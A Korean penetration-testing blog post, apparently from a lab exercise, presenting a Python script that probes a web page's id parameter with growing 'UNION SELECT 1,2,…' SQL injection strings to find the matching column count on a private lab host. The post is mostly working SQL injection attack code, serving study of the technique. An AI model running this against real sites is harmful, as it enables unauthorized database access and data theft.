Linux/모의해킹

UNION 공격코드 작성하기 (Python)

GGkeeper 2022. 1. 26. 21:18

실습> union 공격코드 작성하기

-- unionAttackDebug.py --
"""
파일명 : unionAttackDebug.py
프로그램 설명 : union 공격을 디버깅하면서 이해하기 위한 예제
"""

import requests
import bs4
import time

id = 'bbs3 union select 1'
m = 'list'

agentValue = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36"
user_agent = {'User-agent': agentValue}

for i in range(1,51):
    if i > 1:
        id = id + ',' + str(i)
        #print(id)
    url = f"http://192.168.108.101/?id={id}&m={m}"  # 접속할 URL
    #print(url)
    #time.sleep(2)
    r = requests.get(url)
    soup = bs4.BeautifulSoup(r.text, 'html.parser')
    #print(soup)
    a = soup.find('b')
    print(a)
    if a == None:
        print('UNION 매칭 OK!!!')
        print(f'>>> 매칭된 값 {i} : {url} <<<')
        break
    #print(a)
    print(f'>>> {i} : {url} <<<')
    #time.sleep(1)
-- unionAttackDebug.py --

'Linux > 모의해킹' 카테고리의 다른 글

UNION 공격코드 작성하기 (Chrome 으로 위장)  (0) 2022.01.26
Apache 웹서버 로그 분석  (0) 2022.01.26
get.html  (0) 2022.01.26
Python 을 이용한 자동화 툴 만들기  (0) 2022.01.26
UNION 을 이용한 데이터 추출  (0) 2022.01.26